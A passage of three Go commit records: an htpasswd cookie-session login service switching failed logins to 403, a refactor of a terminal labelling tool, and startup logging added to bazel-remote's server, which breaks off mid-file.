<commit_before>package main

import (
	"errors"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"time"

	"encoding/base64"
	"encoding/json"

	"github.com/abbot/go-http-auth"
	"github.com/dchest/uniuri"
	"github.com/zenazn/goji/bind"
	"goji.io"
	"goji.io/pat"
)

const cookieName string = "_htpasswd_auth"
const sessionFormat string = time.RFC3339
const slack time.Duration = time.Duration(10) * time.Second

var sessionDir string
var domain string
var htpasswd string
var realm string
var cookieLifetime int
var secure bool

var validChars map[rune]bool

func init() {
	validChars = map[rune]bool{}
	for _, c := range string(uniuri.StdChars) {
		validChars[c] = true
	}
}

type session struct {
	CreatedRaw string `json:"created"`
	Domain     string

	Name    string    `json:"-"`
	Created time.Time `json:"-"`
}

func (s *session) fill(name string) error {
	t, err := time.Parse(sessionFormat, s.CreatedRaw)
	if err != nil {
		return err
	}
	s.Created = t
	s.Name = name
	return nil
}

func (s *session) Valid() bool {
	sessionExpiry := s.Created.Add(time.Duration(cookieLifetime) * time.Second)
	return sessionExpiry.After(time.Now())
}
func validateCookie(cookie string) (*session, error) {
	for _, c := range cookie {
		if _, ok := validChars[c]; !ok {
			return nil, errors.New("Cookie value contains invalid characters.")
		}
	}
	sessionPath := filepath.Join(sessionDir, cookie)
	base, err := filepath.Rel(sessionDir, sessionPath)
	if err != nil {
		return nil, err
	}
	if strings.HasPrefix(base, ".") || strings.HasPrefix(base, "/") {
		return nil, errors.New("Cookie value would traverse directories")
	}

	// From here on, the session pathname is assumed innocent & handle-able.
	data, err := ioutil.ReadFile(sessionPath)
	if err != nil {
		if os.IsNotExist(err) {
			log.Printf("Request for a session that doesn't exist: %q", sessionPath)
			return nil, err
		} else {
			log.Printf("Checking session %q failed: %s", sessionPath, err)
			return nil, err
		}
	}
	session := session{}
	json.Unmarshal(data, &session)
	err = session.fill(cookie)
	if err != nil {
		os.Remove(sessionPath) // clean up the session
		return nil, err
	}
	if !session.Valid() {
		return nil, errors.New("Session is no longer valid.")
	}
	return &session, nil
}

func invalidateCookie() *http.Cookie {
	return &http.Cookie{Name: cookieName, Value: "nope", Domain: domain, Path: "/", MaxAge: -1, Secure: secure, HttpOnly: true}
}

func checkSession(w http.ResponseWriter, r *http.Request) {
	newCookie := invalidateCookie()
	success := false

	// Cleanup and ensure we always send a decent response:
	defer func() {
		if !success {
			http.SetCookie(w, newCookie)
			http.Error(w, "Session is not/no longer valid", http.StatusUnauthorized)
			return
		}
		w.WriteHeader(200)
		w.Write([]byte{})
	}()

	cookie, err := r.Cookie(cookieName)
	if err != nil {
		if err != http.ErrNoCookie {
			log.Printf("Failed getting the cookie: %s", err)
		}
		return

	}
	session, err := validateCookie(cookie.Value)
	if err != nil {
		log.Printf("Error validating session: %s", err)
		return
	}

	if session.Domain != r.Host {
		log.Printf("Session %q was made for another domain: %s; wanted %q", cookie.Value, session.Domain, r.Host)
		return
	}

	// We have a valid session that hasn't yet expired. Let's call it a success.
	success = true
	return
}

func newSession(domain string) (string, error) {
	name := uniuri.NewLen(90)
	sessionPath := filepath.Join(sessionDir, name)
	data, err := json.Marshal(session{CreatedRaw: time.Now().Add(slack).Format(sessionFormat), Domain: domain})
	if err != nil {
		return "", err
	}
	err = ioutil.WriteFile(sessionPath, data, 0400)
	if err != nil {
		return "", err
	}
	return name, nil
}

func login(w http.ResponseWriter, r *http.Request) {
	newCookie := invalidateCookie()
	success := false
	defer func() {
		http.SetCookie(w, newCookie)
		if !success {
			http.Error(w, "Nope", http.StatusUnauthorized)
			return
		}
	}()
	user := r.PostFormValue("login")
	if len(user) == 0 {
		return
	}

	password := r.PostFormValue("password")
	if len(password) == 0 {
		return
	}

	log.Printf("Validating login request by user %q on %q", user, r.Host)

	// This is very awful, but sadly go-http-auth has no better interface:
	authenticator := auth.NewBasicAuthenticator(realm, auth.HtpasswdFileProvider(htpasswd))
	r.Header["Authorization"] = []string{
		fmt.Sprintf("Basic %s", base64.StdEncoding.EncodeToString([]byte(fmt.Sprintf("%s:%s", user, password)))),
	}
	if user != authenticator.CheckAuth(r) {
		log.Printf("User %q couldn't be authenticated", user)
		return
	}

	// OK, we're authenticated. Let's get a session started:
	session, err := newSession(r.Host)
	if err != nil {
		return
	}
	newCookie.Value = session
	newCookie.MaxAge = cookieLifetime
	if r.PostFormValue("ephemeral") == "" {
		newCookie.Expires = time.Now().Add(time.Duration(cookieLifetime) * time.Second)
	}
	success = true
}

func runCleanup() {
	deleted := 0
	err := filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return nil
		}
		if info.IsDir() {
			if path != sessionDir {
				return filepath.SkipDir
			} else {
				return nil
			}
		}
		data, err := ioutil.ReadFile(path)
		if err != nil {
			return err
		}
		var sess session
		err = json.Unmarshal(data, &sess)
		if err != nil {
			fmt.Printf("Session %q was invalid JSON (%s), leaving it", path, err)
			return nil
		}
		if err = sess.fill(filepath.Base(path)); err != nil {
			fmt.Printf("Session %q has an invalid date (%s), deleting it", path, err)
			return os.Remove(path)
		}
		if !sess.Valid() {
			deleted += 1
			return os.Remove(path)
		}
		return nil
	})
	if err != nil {
		log.Printf("Couldn't delete sessions: %s", err)
		os.Exit(2)
	}
	if deleted > 0 {
		log.Printf("Cleaned out %d sessions from %q.", deleted, sessionDir)
	}
}

func logout(w http.ResponseWriter, r *http.Request) {
	cookie, err := r.Cookie(cookieName)
	http.SetCookie(w, invalidateCookie())
	if err != nil {
		if err != http.ErrNoCookie {
			log.Printf("Failed getting the cookie: %s", err)
		}
		http.Redirect(w, r, "/", 301)
		return
	}

	session, err := validateCookie(cookie.Value)
	if err != nil {
		log.Printf("Error validating session: %s", err)
		http.Redirect(w, r, "/", 301)
		return
	}
	os.Remove(filepath.Join(sessionDir, session.Name))
	http.Redirect(w, r, "/", 301)
}

func main() {
	var cleanup bool

	bind.DefaultBind = "127.0.0.1:8000"
	bind.WithFlag()
	flag.StringVar(&sessionDir, "sessions", "/var/db/http-auth/cookies", "Directory in which htpasswd-login-form places sessions")
	flag.StringVar(&domain, "domain", "", "Domain to set on all cookies")
	flag.StringVar(&htpasswd, "htpasswd", "/etc/nginx/.htpasswd", "htpasswd file to use for authentication")
	flag.StringVar(&realm, "realm", "example.com", "HTTP Basic auth realm to pretend we run in")
	flag.IntVar(&cookieLifetime, "lifetime", 86400, "Maximum cookie lifetime in seconds")
	flag.BoolVar(&secure, "secure", true, "Whether to set cookies to secure (false is useful for dev)")

	flag.BoolVar(&cleanup, "cleanup", false, "Perform once-in-a-while cleanup actions")
	flag.Parse()

	if cleanup {
		runCleanup()
		return
	}

	mux := goji.NewMux()
	mux.HandleFunc(pat.Get("/auth"), checkSession)
	mux.HandleFunc(pat.Post("/login"), login)
	mux.HandleFunc(pat.Post("/logout"), logout)

	http.Serve(bind.Default(), mux)
}
<commit_msg>Send StatusForbidden if login fails<commit_after>package main

import (
	"errors"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"time"

	"encoding/base64"
	"encoding/json"

	"github.com/abbot/go-http-auth"
	"github.com/dchest/uniuri"
	"github.com/zenazn/goji/bind"
	"goji.io"
	"goji.io/pat"
)

const cookieName string = "_htpasswd_auth"
const sessionFormat string = time.RFC3339
const slack time.Duration = time.Duration(10) * time.Second

var sessionDir string
var domain string
var htpasswd string
var realm string
var cookieLifetime int
var secure bool

var validChars map[rune]bool

func init() {
	validChars = map[rune]bool{}
	for _, c := range string(uniuri.StdChars) {
		validChars[c] = true
	}
}

type session struct {
	CreatedRaw string `json:"created"`
	Domain     string

	Name    string    `json:"-"`
	Created time.Time `json:"-"`
}

func (s *session) fill(name string) error {
	t, err := time.Parse(sessionFormat, s.CreatedRaw)
	if err != nil {
		return err
	}
	s.Created = t
	s.Name = name
	return nil
}

func (s *session) Valid() bool {
	sessionExpiry := s.Created.Add(time.Duration(cookieLifetime) * time.Second)
	return sessionExpiry.After(time.Now())
}
func validateCookie(cookie string) (*session, error) {
	for _, c := range cookie {
		if _, ok := validChars[c]; !ok {
			return nil, errors.New("Cookie value contains invalid characters.")
		}
	}
	sessionPath := filepath.Join(sessionDir, cookie)
	base, err := filepath.Rel(sessionDir, sessionPath)
	if err != nil {
		return nil, err
	}
	if strings.HasPrefix(base, ".") || strings.HasPrefix(base, "/") {
		return nil, errors.New("Cookie value would traverse directories")
	}

	// From here on, the session pathname is assumed innocent & handle-able.
	data, err := ioutil.ReadFile(sessionPath)
	if err != nil {
		if os.IsNotExist(err) {
			log.Printf("Request for a session that doesn't exist: %q", sessionPath)
			return nil, err
		} else {
			log.Printf("Checking session %q failed: %s", sessionPath, err)
			return nil, err
		}
	}
	session := session{}
	json.Unmarshal(data, &session)
	err = session.fill(cookie)
	if err != nil {
		os.Remove(sessionPath) // clean up the session
		return nil, err
	}
	if !session.Valid() {
		return nil, errors.New("Session is no longer valid.")
	}
	return &session, nil
}

func invalidateCookie() *http.Cookie {
	return &http.Cookie{Name: cookieName, Value: "nope", Domain: domain, Path: "/", MaxAge: -1, Secure: secure, HttpOnly: true}
}

func checkSession(w http.ResponseWriter, r *http.Request) {
	newCookie := invalidateCookie()
	success := false

	// Cleanup and ensure we always send a decent response:
	defer func() {
		if !success {
			http.SetCookie(w, newCookie)
			http.Error(w, "Session is not/no longer valid", http.StatusUnauthorized)
			return
		}
		w.WriteHeader(200)
		w.Write([]byte{})
	}()

	cookie, err := r.Cookie(cookieName)
	if err != nil {
		if err != http.ErrNoCookie {
			log.Printf("Failed getting the cookie: %s", err)
		}
		return

	}
	session, err := validateCookie(cookie.Value)
	if err != nil {
		log.Printf("Error validating session: %s", err)
		return
	}

	if session.Domain != r.Host {
		log.Printf("Session %q was made for another domain: %s; wanted %q", cookie.Value, session.Domain, r.Host)
		return
	}

	// We have a valid session that hasn't yet expired. Let's call it a success.
	success = true
	return
}

func newSession(domain string) (string, error) {
	name := uniuri.NewLen(90)
	sessionPath := filepath.Join(sessionDir, name)
	data, err := json.Marshal(session{CreatedRaw: time.Now().Add(slack).Format(sessionFormat), Domain: domain})
	if err != nil {
		return "", err
	}
	err = ioutil.WriteFile(sessionPath, data, 0400)
	if err != nil {
		return "", err
	}
	return name, nil
}

func login(w http.ResponseWriter, r *http.Request) {
	newCookie := invalidateCookie()
	success := false
	defer func() {
		http.SetCookie(w, newCookie)
		if !success {
			http.Error(w, "Nope", http.StatusForbidden)
			return
		}
	}()
	user := r.PostFormValue("login")
	if len(user) == 0 {
		return
	}

	password := r.PostFormValue("password")
	if len(password) == 0 {
		return
	}

	log.Printf("Validating login request by user %q on %q", user, r.Host)

	// This is very awful, but sadly go-http-auth has no better interface:
	authenticator := auth.NewBasicAuthenticator(realm, auth.HtpasswdFileProvider(htpasswd))
	r.Header["Authorization"] = []string{
		fmt.Sprintf("Basic %s", base64.StdEncoding.EncodeToString([]byte(fmt.Sprintf("%s:%s", user, password)))),
	}
	if user != authenticator.CheckAuth(r) {
		log.Printf("User %q couldn't be authenticated", user)
		return
	}

	// OK, we're authenticated. Let's get a session started:
	session, err := newSession(r.Host)
	if err != nil {
		return
	}
	newCookie.Value = session
	newCookie.MaxAge = cookieLifetime
	if r.PostFormValue("ephemeral") == "" {
		newCookie.Expires = time.Now().Add(time.Duration(cookieLifetime) * time.Second)
	}
	success = true
}

func runCleanup() {
	deleted := 0
	err := filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return nil
		}
		if info.IsDir() {
			if path != sessionDir {
				return filepath.SkipDir
			} else {
				return nil
			}
		}
		data, err := ioutil.ReadFile(path)
		if err != nil {
			return err
		}
		var sess session
		err = json.Unmarshal(data, &sess)
		if err != nil {
			fmt.Printf("Session %q was invalid JSON (%s), leaving it", path, err)
			return nil
		}
		if err = sess.fill(filepath.Base(path)); err != nil {
			fmt.Printf("Session %q has an invalid date (%s), deleting it", path, err)
			return os.Remove(path)
		}
		if !sess.Valid() {
			deleted += 1
			return os.Remove(path)
		}
		return nil
	})
	if err != nil {
		log.Printf("Couldn't delete sessions: %s", err)
		os.Exit(2)
	}
	if deleted > 0 {
		log.Printf("Cleaned out %d sessions from %q.", deleted, sessionDir)
	}
}

func logout(w http.ResponseWriter, r *http.Request) {
	cookie, err := r.Cookie(cookieName)
	http.SetCookie(w, invalidateCookie())
	if err != nil {
		if err != http.ErrNoCookie {
			log.Printf("Failed getting the cookie: %s", err)
		}
		http.Redirect(w, r, "/", 301)
		return
	}

	session, err := validateCookie(cookie.Value)
	if err != nil {
		log.Printf("Error validating session: %s", err)
		http.Redirect(w, r, "/", 301)
		return
	}
	os.Remove(filepath.Join(sessionDir, session.Name))
	http.Redirect(w, r, "/", 301)
}

func main() {
	var cleanup bool

	bind.DefaultBind = "127.0.0.1:8000"
	bind.WithFlag()
	flag.StringVar(&sessionDir, "sessions", "/var/db/http-auth/cookies", "Directory in which htpasswd-login-form places sessions")
	flag.StringVar(&domain, "domain", "", "Domain to set on all cookies")
	flag.StringVar(&htpasswd, "htpasswd", "/etc/nginx/.htpasswd", "htpasswd file to use for authentication")
	flag.StringVar(&realm, "realm", "example.com", "HTTP Basic auth realm to pretend we run in")
	flag.IntVar(&cookieLifetime, "lifetime", 86400, "Maximum cookie lifetime in seconds")
	flag.BoolVar(&secure, "secure", true, "Whether to set cookies to secure (false is useful for dev)")

	flag.BoolVar(&cleanup, "cleanup", false, "Perform once-in-a-while cleanup actions")
	flag.Parse()

	if cleanup {
		runCleanup()
		return
	}

	mux := goji.NewMux()
	mux.HandleFunc(pat.Get("/auth"), checkSession)
	mux.HandleFunc(pat.Post("/login"), login)
	mux.HandleFunc(pat.Post("/logout"), logout)

	http.Serve(bind.Default(), mux)
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"os"

	"github.com/mattn/go-tty"
)

func ask(e *Example) (bool, error) {
	fmt.Println("Label this example: " + e.url)
	t, err := tty.Open()
	defer t.Close()
	if err != nil {
		return false, err
	}
	var r rune
	for r == 0 {
		r, err = t.ReadRune()
		if err != nil {
			return false, err
		}
	}
	switch r {
	case 'p':
		e.Annotate(POSITIVE)
		fmt.Println("Labeled as positive")
		return true, nil
	case 'n':
		e.Annotate(NEGATIVE)
		fmt.Println("Labeled as negative")
		return true, nil
	default:
		return false, nil
	}
}

func main() {
	examples, _ := ReadExamples(os.Args[1])

	for {
		e := RandomSelectOneExample(examples)
		if e == nil {
			break
		}
		ask(e)
	}

	for _, e := range examples {
		fmt.Println(e)
	}
}
<commit_msg>入力を解析する箇所と実際にactionする部分を分離<commit_after>package main

import (
	"fmt"
	"os"

	"github.com/mattn/go-tty"
)

type ActionType int

const (
	LABEL_AS_POSITIVE ActionType = iota
	LABEL_AS_NEGATIVE
	SAVE
	HELP
	SKIP
	EXIT
)

func input2ActionType() (ActionType, error) {
	t, err := tty.Open()
	defer t.Close()
	if err != nil {
		return EXIT, err
	}
	var r rune
	for r == 0 {
		r, err = t.ReadRune()
		if err != nil {
			return SKIP, err
		}
	}
	switch r {
	case 'p': return LABEL_AS_POSITIVE, nil
	case 'n':	return LABEL_AS_NEGATIVE, nil
	case 's': return SAVE, nil
	case 'h': return HELP, nil
	case 'e': return EXIT, nil
	default: return SKIP, nil
	}
}

func main() {
	examples, _ := ReadExamples(os.Args[1])

	for {
		e := RandomSelectOneExample(examples)
		if e == nil {
			break
		}
		fmt.Println("Label this example: " + e.url)
		act, err := input2ActionType()
		if err != nil {
			return
		}
		switch act {
		case LABEL_AS_POSITIVE:
			fmt.Println("Labeled as positive")
			e.Annotate(POSITIVE)
		case LABEL_AS_NEGATIVE:
			fmt.Println("Labeled as negative")
			e.Annotate(NEGATIVE)
		case SKIP:
			fmt.Println("Skiped this example")
			continue
		case SAVE:
			fmt.Println("Saved labeld examples")
		case HELP:
			fmt.Println("ToDo: SHOW HELP")
		case EXIT:
			return
		default:
			return
		}
	}

	for _, e := range examples {
		fmt.Println(e)
	}
}
<|endoftext|>


<commit_before>package main

import (
	"context"
	"fmt"
	"log"
	"net"
	"net/http"
	_ "net/http/pprof" // Register pprof handlers with DefaultServeMux.
	"os"
	"runtime"
	"strings"

	auth "github.com/abbot/go-http-auth"

	"github.com/buchgr/bazel-remote/cache"
	"github.com/buchgr/bazel-remote/cache/disk"

	"github.com/buchgr/bazel-remote/config"
	"github.com/buchgr/bazel-remote/server"
	"github.com/buchgr/bazel-remote/utils/flags"
	"github.com/buchgr/bazel-remote/utils/idle"
	"github.com/buchgr/bazel-remote/utils/rlimit"

	grpc_prometheus "github.com/grpc-ecosystem/go-grpc-prometheus"
	"github.com/prometheus/client_golang/prometheus/promhttp"
	httpmetrics "github.com/slok/go-http-metrics/metrics/prometheus"
	middleware "github.com/slok/go-http-metrics/middleware"
	middlewarestd "github.com/slok/go-http-metrics/middleware/std"
	"github.com/urfave/cli/v2"

	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials"
)

// gitCommit is the version stamp for the server. The value of this var
// is set through linker options.
var gitCommit string

func main() {
	log.SetFlags(config.LogFlags)

	maybeGitCommitMsg := ""
	if len(gitCommit) > 0 && gitCommit != "{STABLE_GIT_COMMIT}" {
		maybeGitCommitMsg = fmt.Sprintf(" from git commit %s", gitCommit)
	}
	log.Printf("bazel-remote built with %s%s.",
		runtime.Version(), maybeGitCommitMsg)

	app := cli.NewApp()

	cli.AppHelpTemplate = flags.Template
	cli.HelpPrinterCustom = flags.HelpPrinter
	// Force the use of cli.HelpPrinterCustom.
	app.ExtraInfo = func() map[string]string { return map[string]string{} }

	app.Flags = flags.GetCliFlags()
	app.Action = run

	err := app.Run(os.Args)
	if err != nil {
		log.Fatal("bazel-remote terminated:", err)
	}
}

func run(ctx *cli.Context) error {
	c, err := config.Get(ctx)
	if err != nil {
		fmt.Fprintf(ctx.App.Writer, "%v\n\n", err)
		_ = cli.ShowAppHelp(ctx)
		return cli.Exit(err.Error(), 1)
	}

	if ctx.NArg() > 0 {
		fmt.Fprintf(ctx.App.Writer,
			"Error: bazel-remote does not take positional aguments\n")
		for i := 0; i < ctx.NArg(); i++ {
			fmt.Fprintf(ctx.App.Writer, "arg: %s\n", ctx.Args().Get(i))
		}
		fmt.Fprintf(ctx.App.Writer, "\n")

		_ = cli.ShowAppHelp(ctx)
		os.Exit(1)
	}

	rlimit.Raise()

	validateAC := !c.DisableHTTPACValidation

	opts := []disk.Option{
		disk.WithStorageMode(c.StorageMode),
		disk.WithZstdImplementation(c.ZstdImplementation),
		disk.WithMaxBlobSize(c.MaxBlobSize),
		disk.WithProxyMaxBlobSize(c.MaxProxyBlobSize),
		disk.WithAccessLogger(c.AccessLogger),
	}
	if c.ProxyBackend != nil {
		opts = append(opts, disk.WithProxyBackend(c.ProxyBackend))
	}
	if c.EnableEndpointMetrics {
		opts = append(opts, disk.WithEndpointMetrics())
	}

	diskCache, err := disk.New(c.Dir, int64(c.MaxSize)*1024*1024*1024, opts...)
	if err != nil {
		log.Fatal(err)
	}
	diskCache.RegisterMetrics()

	mux := http.NewServeMux()
	httpServer := &http.Server{
		Handler:      mux,
		ReadTimeout:  c.HTTPReadTimeout,
		TLSConfig:    c.TLSConfig,
		WriteTimeout: c.HTTPWriteTimeout,
	}

	checkClientCertForWrites := c.TLSCaFile != "" && c.AllowUnauthenticatedReads
	h := server.NewHTTPCache(diskCache, c.AccessLogger, c.ErrorLogger, validateAC,
		c.EnableACKeyInstanceMangling, checkClientCertForWrites, gitCommit)

	var htpasswdSecrets auth.SecretProvider
	authMode := "disabled"
	cacheHandler := h.CacheHandler
	if c.HtpasswdFile != "" {
		authMode = "basic"
		htpasswdSecrets = auth.HtpasswdFileProvider(c.HtpasswdFile)
		if c.AllowUnauthenticatedReads {
			cacheHandler = unauthenticatedReadWrapper(cacheHandler, htpasswdSecrets, c.HTTPAddress)
		} else {
			cacheHandler = authWrapper(cacheHandler, htpasswdSecrets, c.HTTPAddress)
		}
	} else if c.TLSCaFile != "" {
		authMode = "mTLS"
	}
	log.Println("Authentication:", authMode)

	if authMode != "disabled" {
		if c.AllowUnauthenticatedReads {
			log.Println("Access mode: authentication required for writes, unauthenticated reads allowed")
		} else {
			log.Println("Access mode: authentication required")
		}
	}

	var idleTimer *idle.Timer
	if c.IdleTimeout > 0 {
		idleTimer = idle.NewTimer(c.IdleTimeout)
		cacheHandler = wrapIdleHandler(cacheHandler, idleTimer, c.AccessLogger, httpServer)
	}

	acKeyManglingStatus := "disabled"
	if c.EnableACKeyInstanceMangling {
		acKeyManglingStatus = "enabled"
	}
	log.Println("Mangling non-empty instance names with AC keys:", acKeyManglingStatus)

	if c.EnableEndpointMetrics {
		metricsMdlw := middleware.New(middleware.Config{
			Recorder: httpmetrics.NewRecorder(httpmetrics.Config{
				DurationBuckets: c.MetricsDurationBuckets,
			}),
		})
		mux.Handle("/metrics", middlewarestd.Handler("metrics", metricsMdlw, promhttp.Handler()))
		mux.Handle("/status", middlewarestd.Handler("status", metricsMdlw, http.HandlerFunc(h.StatusPageHandler)))
		mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
			middlewarestd.Handler(r.Method, metricsMdlw, http.HandlerFunc(cacheHandler)).ServeHTTP(w, r)
		})
	} else {
		mux.HandleFunc("/status", h.StatusPageHandler)
		mux.HandleFunc("/", cacheHandler)
	}

	if c.GRPCAddress != "none" {
		go func() {
			opts := []grpc.ServerOption{}
			streamInterceptors := []grpc.StreamServerInterceptor{}
			unaryInterceptors := []grpc.UnaryServerInterceptor{}

			if c.EnableEndpointMetrics {
				streamInterceptors = append(streamInterceptors, grpc_prometheus.StreamServerInterceptor)
				unaryInterceptors = append(unaryInterceptors, grpc_prometheus.UnaryServerInterceptor)
				grpc_prometheus.EnableHandlingTimeHistogram(grpc_prometheus.WithHistogramBuckets(c.MetricsDurationBuckets))
			}

			if c.TLSConfig != nil {
				opts = append(opts, grpc.Creds(credentials.NewTLS(c.TLSConfig)))

				if c.TLSCaFile != "" {
					streamInterceptors = append(streamInterceptors,
						server.GRPCmTLSStreamServerInterceptor(c.AllowUnauthenticatedReads))
					unaryInterceptors = append(unaryInterceptors,
						server.GRPCmTLSUnaryServerInterceptor(c.AllowUnauthenticatedReads))
				}
			}

			if htpasswdSecrets != nil {
				gba := server.NewGrpcBasicAuth(htpasswdSecrets, c.AllowUnauthenticatedReads)
				streamInterceptors = append(streamInterceptors, gba.StreamServerInterceptor)
				unaryInterceptors = append(unaryInterceptors, gba.UnaryServerInterceptor)
			}

			if idleTimer != nil {
				it := server.NewGrpcIdleTimer(idleTimer)
				streamInterceptors = append(streamInterceptors, it.StreamServerInterceptor)
				unaryInterceptors = append(unaryInterceptors, it.UnaryServerInterceptor)
			}

			opts = append(opts, grpc.ChainStreamInterceptor(streamInterceptors...))
			opts = append(opts, grpc.ChainUnaryInterceptor(unaryInterceptors...))

			validateAC := !c.DisableGRPCACDepsCheck
			validateStatus := "disabled"
			if validateAC {
				validateStatus = "enabled"
			}
			log.Println("gRPC AC dependency checks:", validateStatus)

			enableRemoteAssetAPI := c.ExperimentalRemoteAssetAPI
			remoteAssetStatus := "disabled"
			if enableRemoteAssetAPI {
				remoteAssetStatus = "enabled"
			}
			log.Println("experimental gRPC remote asset API:", remoteAssetStatus)

			network := "tcp"
			addr := c.GRPCAddress
			if strings.HasPrefix(c.GRPCAddress, "unix://") {
				network = "unix"
				addr = c.GRPCAddress[len("unix://"):]
			}

			log.Printf("Starting gRPC server on address %s", addr)

			err3 := server.ListenAndServeGRPC(
				network, addr, opts,
				validateAC,
				c.EnableACKeyInstanceMangling,
				enableRemoteAssetAPI,
				diskCache, c.AccessLogger, c.ErrorLogger)
			if err3 != nil {
				log.Fatal(err3)
			}
		}()
	}

	if c.ProfileAddress != "" {
		go func() {
			// Allow access to /debug/pprof/ URLs.
			log.Printf("Starting HTTP server for profiling on address %s",
				c.ProfileAddress)
			log.Fatal(`Failed to listen on address: "`, c.ProfileAddress, `": `, http.ListenAndServe(c.ProfileAddress, nil))
		}()
	}

	validateStatus := "disabled"
	if validateAC {
		validateStatus = "enabled"
	}

	var ln net.Listener
	if strings.HasPrefix(c.HTTPAddress, "unix://") {
		ln, err = net.Listen("unix", c.HTTPAddress[len("unix://"):])
	} else {
		ln, err = net.Listen("tcp", c.HTTPAddress)
	}
	if err != nil {
		log.Fatal(`Failed to listen on address: "`, c.HTTPAddress, `": `, err)
	}

	if len(c.TLSCertFile) > 0 && len(c.TLSKeyFile) > 0 {
		log.Printf("Starting HTTPS server on address %s", httpServer.Addr)
		log.Println("HTTP AC validation:", validateStatus)
		return httpServer.ServeTLS(ln, c.TLSCertFile, c.TLSKeyFile)
	}

	if idleTimer != nil {
		log.Printf("Starting idle timer with value %v", c.IdleTimeout)
		idleTimer.Start()
	}

	log.Printf("Starting HTTP server on address %s", c.HTTPAddress)
	log.Println("HTTP AC validation:", validateStatus)
	return httpServer.Serve(ln)
}

func wrapIdleHandler(handler http.HandlerFunc, idleTimer *idle.Timer, accessLogger cache.Logger, httpServer *http.Server) http.HandlerFunc {

	tearDown := make(chan struct{})
	idleTimer.Register(tearDown)

	go func() {
		<-tearDown
		accessLogger.Printf("Shutting down after idle timeout")
		err := httpServer.Shutdown(context.Background())
		if err != nil {
			fmt.Printf("Error when shutting down http server: %s", err.Error())
		}
	}()

	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		idleTimer.ResetTimer()
		handler(w, r)
	})
}

// A http.HandlerFunc wrapper which requires successful basic
// authentication for all requests.
func authWrapper(handler http.HandlerFunc, secrets auth.SecretProvider, addr string) http.HandlerFunc {
	authenticator := &auth.BasicAuth{Realm: addr, Secrets: secrets}
	return auth.JustCheck(authenticator, handler)
}

// A http.HandlerFunc wrapper which requires successful basic
// authentication for write requests, but allows unauthenticated
// read requests.
func unauthenticatedReadWrapper(handler http.HandlerFunc, secrets auth.SecretProvider, addr string) http.HandlerFunc {
	authenticator := &auth.BasicAuth{Realm: addr, Secrets: secrets}

	return func(w http.ResponseWriter, r *http.Request) {
		if r.Method == http.MethodGet || r.Method == http.MethodHead {
			handler(w, r)
			return
		}

		if authenticator.CheckAuth(r) != "" {
			handler(w, r)
			return
		}

		http.Error(w, "Authorization required", http.StatusUnauthorized)
		// TODO: pass in a logger so we can log this event?
	}
}
<commit_msg>[zstd] log zstd implementation mode (go/cgo) at startup<commit_after>package main

import (
	"context"
	"fmt"
	"log"
	"net"
	"net/http"
	_ "net/http/pprof" // Register pprof handlers with DefaultServeMux.
	"os"
	"runtime"
	"strings"

	auth "github.com/abbot/go-http-auth"

	"github.com/buchgr/bazel-remote/cache"
	"github.com/buchgr/bazel-remote/cache/disk"

	"github.com/buchgr/bazel-remote/config"
	"github.com/buchgr/bazel-remote/server"
	"github.com/buchgr/bazel-remote/utils/flags"
	"github.com/buchgr/bazel-remote/utils/idle"
	"github.com/buchgr/bazel-remote/utils/rlimit"

	grpc_prometheus "github.com/grpc-ecosystem/go-grpc-prometheus"
	"github.com/prometheus/client_golang/prometheus/promhttp"
	httpmetrics "github.com/slok/go-http-metrics/metrics/prometheus"
	middleware "github.com/slok/go-http-metrics/middleware"
	middlewarestd "github.com/slok/go-http-metrics/middleware/std"
	"github.com/urfave/cli/v2"

	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials"
)

// gitCommit is the version stamp for the server. The value of this var
// is set through linker options.
var gitCommit string

func main() {
	log.SetFlags(config.LogFlags)

	maybeGitCommitMsg := ""
	if len(gitCommit) > 0 && gitCommit != "{STABLE_GIT_COMMIT}" {
		maybeGitCommitMsg = fmt.Sprintf(" from git commit %s", gitCommit)
	}
	log.Printf("bazel-remote built with %s%s.",
		runtime.Version(), maybeGitCommitMsg)

	app := cli.NewApp()

	cli.AppHelpTemplate = flags.Template
	cli.HelpPrinterCustom = flags.HelpPrinter
	// Force the use of cli.HelpPrinterCustom.
	app.ExtraInfo = func() map[string]string { return map[string]string{} }

	app.Flags = flags.GetCliFlags()
	app.Action = run

	err := app.Run(os.Args)
	if err != nil {
		log.Fatal("bazel-remote terminated:", err)
	}
}

func run(ctx *cli.Context) error {
	c, err := config.Get(ctx)
	if err != nil {
		fmt.Fprintf(ctx.App.Writer, "%v\n\n", err)
		_ = cli.ShowAppHelp(ctx)
		return cli.Exit(err.Error(), 1)
	}

	if ctx.NArg() > 0 {
		fmt.Fprintf(ctx.App.Writer,
			"Error: bazel-remote does not take positional aguments\n")
		for i := 0; i < ctx.NArg(); i++ {
			fmt.Fprintf(ctx.App.Writer, "arg: %s\n", ctx.Args().Get(i))
		}
		fmt.Fprintf(ctx.App.Writer, "\n")

		_ = cli.ShowAppHelp(ctx)
		os.Exit(1)
	}

	rlimit.Raise()

	validateAC := !c.DisableHTTPACValidation

	log.Println("Storage mode:", c.StorageMode)
	if c.StorageMode == "zstd" {
		log.Println("Zstandard implementation:", c.ZstdImplementation)
	}

	opts := []disk.Option{
		disk.WithStorageMode(c.StorageMode),
		disk.WithZstdImplementation(c.ZstdImplementation),
		disk.WithMaxBlobSize(c.MaxBlobSize),
		disk.WithProxyMaxBlobSize(c.MaxProxyBlobSize),
		disk.WithAccessLogger(c.AccessLogger),
	}
	if c.ProxyBackend != nil {
		opts = append(opts, disk.WithProxyBackend(c.ProxyBackend))
	}
	if c.EnableEndpointMetrics {
		opts = append(opts, disk.WithEndpointMetrics())
	}

	diskCache, err := disk.New(c.Dir, int64(c.MaxSize)*1024*1024*1024, opts...)
	if err != nil {
		log.Fatal(err)
	}
	diskCache.RegisterMetrics()

	mux := http.NewServeMux()
	httpServer := &http.Server{
		Handler:      mux,
		ReadTimeout:  c.HTTPReadTimeout,
		TLSConfig:    c.TLSConfig,
		WriteTimeout: c.HTTPWriteTimeout,
	}

